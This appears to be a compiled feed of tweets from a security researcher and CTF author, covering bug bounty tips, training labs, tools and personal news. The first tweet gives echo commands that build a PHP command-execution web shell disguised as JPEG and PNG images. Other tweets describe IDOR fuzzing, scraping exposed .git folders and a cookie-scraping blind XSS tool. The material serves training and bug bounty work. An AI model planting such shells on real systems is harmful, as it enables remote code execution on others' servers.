If you need to quickly make RCE code from bash disguised as an image for an LFI/malicious upload.
echo -n -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > shell.jpg
echo -n -e '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > shell.png
#bugbountytip
#ctf
#hacking
I made a tool to generate Sec/Dictionary files for content discovery by scrapping GitHub for File/Folder Names and GET/POST & HTTP from PHP files. So far its examined 5,256,950 files from 39069 repositories, check the results
#BugBounty
#bugbountytips
If you’ve enjoyed my CTFs and haven’t yet tried my other challenges please take a look at (
@CTFchallenge
) . There’s currently 9 challenges with 64 flags to find. Each challenge is built like a full size business full of real world vulnerabilities.
Really happy to announce I'm going to be joining the team
@RealTryHackMe
as their new content engineer. I'm going to be bringing my own brand of evil for their challenges!
Continuing my ♥️ for ffuf I've created for the community, you can learn ffuf on a live target with different lessons. It's open-sourced at so you can also run it locally in docker. Would ♥️ to get feedback
#bugbountytips
#infosec
The network simulator I built for
@RealTryHackMe
has been by far one of the most advanced frontend projects I’ve taken on. You can lay the network out however you want in a grid system, with switches connecting computers together and routers connecting networks together.. 1/2
One of the best words to describe is realistic. Realistic websites, realistic businesses, realistic vulnerabilities and realistic infrastructure. Come and try your skills against my challenges, great for red team, pen testers, bounty hunters and CTFers :)
Awesome first day
@RealTryHackMe
getting to know the team, awesome people and awesome vision. Also came back to a
@Hacker0x01
swag box ( thank you
@NahamSec
) . My youngest has stolen the cap already!
My sons learning python and I don’t know that much of it so we’ve created a shop scenario that we’ve got to make a program for. Love that he’s started a passion for programming all by himself
#proud
Great tool is for .DS_Store files which are often accidentally included in git repositories from Mac devs. These files can be parsed revealing a list of files in the directory. Those files could include passwords, keys etc.
#BugBountyTip
#infosec
#hacking
I was today years old when I learnt you could pipe lists into ffuf instead of just specifying a file. For example, if you wanted to test a bunch of id numbers against an endpoint ( think IDOR ) then you could do "seq 1 - 1000 | ffuf -w - -u "
#bugbountytips
If you come across a Wordpress install try “/wp-content/themes/[custom-theme-name]/.git” . Even if directory listing is disabled you can rebuild and clone it with tools like which allow you to view source code
#BugBountyTip
#bugbounty
#infosec
Next week is my last week at TryHackMe. I’m really proud of the content I’ve created and it was an absolute pleasure working with the whole THM team and community. A special thanks to Ben and Ashu for the opportunity!
Just updated!!!
I've scanned over 175k public GitHub repos and around 35 million files to create a bunch of useful web app fuzzing lists.
#infosec
#bugbountytips
#cybersecurity
Damn, trying to get an LFR working, in PHP file_get_contents() accepts incorrect directories with a travesal i.e "/etc/fake_dir/../passwd" but file_exists() doesnt!!!! so close!
Got a spare hour this weekend and want to learn about sql injection ranging from basic to advanced? Then check out the video I made this week
#bugbountytips
#hacking
#infosec
If you’re new to security or even if your not and feel like you missed out on some fundamentals of how the web works then I’d massively suggest these
@RealTryHackMe
rooms , and
The has now been released for the
@RealTryHackMe
Pre-Security pathway. We've been working hard on this one with great content and labs. If you want to learn some networking or brush up on the stuff you might have learnt years ago this is a perfect way.
🚨New module: Introduction to Web Hacking!
Beginner-friendly interactive labs that will teach you the basics
🟢 Discovering website vulnerabilities
🟢 Exploiting common flaws
🟢 Remediating these vulnerabilities
Includes 3 FREE rooms to get you started!
We've released a NEW learning path: Jr Penetration Tester. Preparing for a career in cyber? Start here!
To celebrate we're giving away $7k worth of prizes
Complete rooms in the path & win tickets, get 3 of the same to redeem a prize 🎟️
Ends in 7 days
It took me about 20 years of going between security, development, networking and telecoms to finally find my niche, really glad I got into build security labs where I get to use all of my skill set and enjoy everyday of my work.
10 years ago today was the last time I saw my eldest brother, it was also the day he took his own life. No one knew how he was feeling, he kept it all to himself. Please if you ever feel like this then reach out to someone, DM’s are always open for anyone to chat ❤️
#mentalhealth
If I went back 23 years and told the 14-year-old me that one day I'd be building a vulnerable forum for Christmas elves I'd probably be very confused 😂
I’ve got another challenge coming out on
@RealTryHackMe
in just over an hour :) Keep on eye on the new rooms feed on the dashboard or wait for the announcement on Discord
Been working on a self hosted BXSS tool. In burp it understands context and returns the correct payload. Each field gets a custom subdomain for tracking and the parameters are also stored in a database. Once activated it will scrape URL, DOM and cookies, and alert on Discord.
9 years ago I received the most devastating news I've ever had in my life, my Brother Neil had taken his own life at age 38. We had no idea and had no signs this would happen. Make sure to check in on your loved ones, the world can be a very lonely place at the moment.
If you’ve just got into recon and content discovery ffuf is a great tool! I built which gives lessons on how to use it against a live practice target or you can also run your own version via docker
#bugbountytips
@samwcyo
Also, create a web script which if anything other than your IP connects to just hangs for 100 seconds and then request the hell out of that script 😂
Are you a web developer who'd like to learn more or transition into security? I'm giving away a voucher for mine and
@NahamSec
Bug Bounty Course worth $80 which will teach you all you need to know about web app security.
Just like & retweet to enter.
My latest room for
@RealTryHackMe
. This room sets the groundwork for the new Junior Pentesters Pathway Web Module I'm working on. And covers how to assess and walk a website/web application with an intro to developer tools
ARE CTF CREATORS EVIL?! - A 1 Hour Conversation around realworld CTF's with Adam Langley.
What is a CTF?
How do you create one out of a realworld / Bug Bounty perspective?
And are all CTF Creators sadistic and evil?
#podcast
#CyberSecurity
I've uploaded my recent stream to YouTube: .If you're a fan of Web App Security, CTFs or developing CTFs you'll hopefully enjoy it. It contains OSINT, Recon, subdomain takeover, XXE, Source Code Review, SQLi and Exfil via ICMP.
Two weeks ago I released my gitscraper tool which harvested POST, GET vars, HTTP headers, laravel routes and folder and file names. The cleaned directory been updated with the results of 11,085,399 PHP files from 73155 repos
#bugbountytips
#infosec
Mine is df -h
Over the years I’ve had it a few times where a process out of nowhere goes crazy and fills up the hard drive ( looking at your MySQL ) and that’s why nothing is working.
Can’t believe is nearly at 15000 signups!!! I built it for hackers to have realistic targets to hack against with real world vulnerabilities as I didn’t see anywhere else doing the same. Looking forward to pushing some awesome updates and content soon!
I'm doing my first live stream!!! Tune in @ on 29th June from 20:00 GMT where I'll be going through not only the solution to my latest CTF but also challenge development, potential pitfalls, keeping things running smoothly and any other questions.
Going of
@securinti
's awesome NahamCon talk and seeing that emails such as (":<script></script>"
@somedomain
.com) are actually RFC 822 compliant and some sites may allow you to sign up with that. There is an awesome builtin tool in python... 1/3
#bugbountytips
#infosec
If your interested in honing your
#bugbounty
skills and up for a challenge try some web app CTF
#hacking
challenges I’ve made at there’s XSS , IDOR , injection , content discovery, enumeration, brute force and much more.
Much like everyone, 2020 has been a scary and uncertain year in our household. I'm writing this tweet to call out some very important people who've either helped financially through work, friendship or both. Firstly
@nahamsec
and
@hacker0x01
for believing in me to deliver (1/4)
Can I ask my U.K security followers to please please please retweet this, we're putting on our first BSides in Exeter in July this year and it's going to be great. Tickets and details are available here
Happy new year 🥳 and hello to any new followers. If your into web app security check out my project it contains a realistic hacking challenges made out like real targets. If your new don’t worry there’s a walkthrough and also a dojo to learn new skills!
Code review time... Can anyone find a security issue with the below code? It should stop requests being sent to any non trusted[.]com subdomains.
Share for fun.
If your looking for a new challenge then
@RealTryHackMe
are hiring for another content engineer. The job is remote and the team are amazing check out the link for more details
2021 was a hard year, the worst year of my life to be honest, with the support of family and friends, I kept going. Some of these challenges will continue into the next year but I'll face them head-on. Love to everyone in the New Year, treat each other well and keep on hacking ❤️
Thanks for my new and existing followers. Just a reminder that if anyone wants to sharpen their web app hacking skills then head over to (
@CTFchallenge
)
If you have an IDOR between 2 user accounts you've created but have "NO WAY" of enumerating other UUID's do you still report it? Would it just get a lower severitiy due to low impact?
Tweeting this for accountability, which I'll update every week.
2022 plans:
1) Prioritise health and exercise above everything, no excuses.
2) 30+ Vids on YouTube
3) Relight my passion for hacking
3) Learn More
4) Get above 5k MRR
5) Earn 10k on BB